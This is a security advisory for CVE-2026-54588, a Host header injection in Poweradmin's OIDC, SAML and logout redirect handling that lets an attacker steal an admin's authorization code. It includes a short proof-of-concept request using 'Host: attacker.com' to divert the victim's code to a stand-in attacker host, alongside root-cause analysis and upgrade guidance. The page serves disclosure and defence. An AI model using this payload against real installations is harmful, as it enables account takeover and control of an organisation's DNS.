critical · 9.6CVE-2026-54588Jul 28, 2026

CVE-2026-54588: Poweradmin Host Header Injection in OIDC / SAML / Logout Redirect

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Poweradmin trusts the attacker-controlled Host request header when building OAuth 2.0 redirect URIs, letting anyone hijack an admin's authorization code and take over the account without credentials.

Packagepoweradmin/poweradmin
Ecosystemcomposer
Affected< 4.2.4
Fixed in4.2.4
CVE-2026-54588: Poweradmin Host Header Injection in OIDC / SAML / Logout Redirect

The problem

Poweradmin versions before 4.2.4 and 4.3.3 pull the raw HTTP_HOST header into callback URL construction for three authentication flows: OIDC, SAML ACS/SLO, and post-logout redirect. No validation is performed before the value is embedded in the redirect_uri sent to the Identity Provider.

An unauthenticated attacker who can send a request with a spoofed Host header (trivial behind any reverse proxy with proxy_set_header Host $http_host) can redirect a victim's OAuth 2.0 authorization code to an attacker-controlled server. The result is full account takeover with no credentials required.

Because Poweradmin manages PowerDNS zones, a compromised admin account hands the attacker complete DNS control over the organization's domains.

Proof of concept

A working proof-of-concept for CVE-2026-54588 in poweradmin/poweradmin, with the exact payload below.

http
GET /oidc/login HTTP/1.1
Host: attacker.com
Connection: close

# The authorization request that Poweradmin forwards to the IdP becomes:
# GET https://idp.example.com/authorize
#   ?response_type=code
#   &client_id=<client_id>
#   &redirect_uri=http%3A%2F%2Fattacker.com%2Foidc%2Fcallback
#   &scope=openid+email+profile
#   &state=<state>
#
# The IdP delivers the victim's authorization code to:
#   http://attacker.com/oidc/callback?code=<victim_auth_code>&state=<state>

The root cause is in OidcService::getCallbackUrl() (~line 460), where $host is taken directly from $this->request->getServerParam('HTTP_HOST', 'localhost') with zero validation, then concatenated verbatim into the redirect_uri. HTTP_X_FORWARDED_PROTO is used unvalidated for scheme detection too, so both the host and scheme are poisonable.

The same unvalidated pattern appears in SamlConfigurationService::getBaseUrl() via $_SERVER['HTTP_HOST'] (only bypassed when interface.base_url is explicitly set, which defaults to empty) and in LogoutController::getBaseUrl(). PKCE does not mitigate this because the attacker initiates the flow themselves and controls both code_challenge and code_verifier.

The fix already existed in the same codebase: DocsController::getValidatedHost() calls isValidHostname() via filter_var before use. The patch applies that same validated-host pattern to all three authentication flows, and prefers the configured interface.base_url over any header-derived value.

The fix

Upgrade to Poweradmin 4.2.4 (stable line) or 4.3.3 (4.3.x line). As an immediate mitigation on unpatched installs, set interface.base_url in config/settings.php to the canonical deployment URL; this activates the safe configured-URL branch in SamlConfigurationService and prevents header poisoning there.

The OidcService path still requires the code fix.

Reported by mike197312.

References: [1][2][3][4][5]

Related research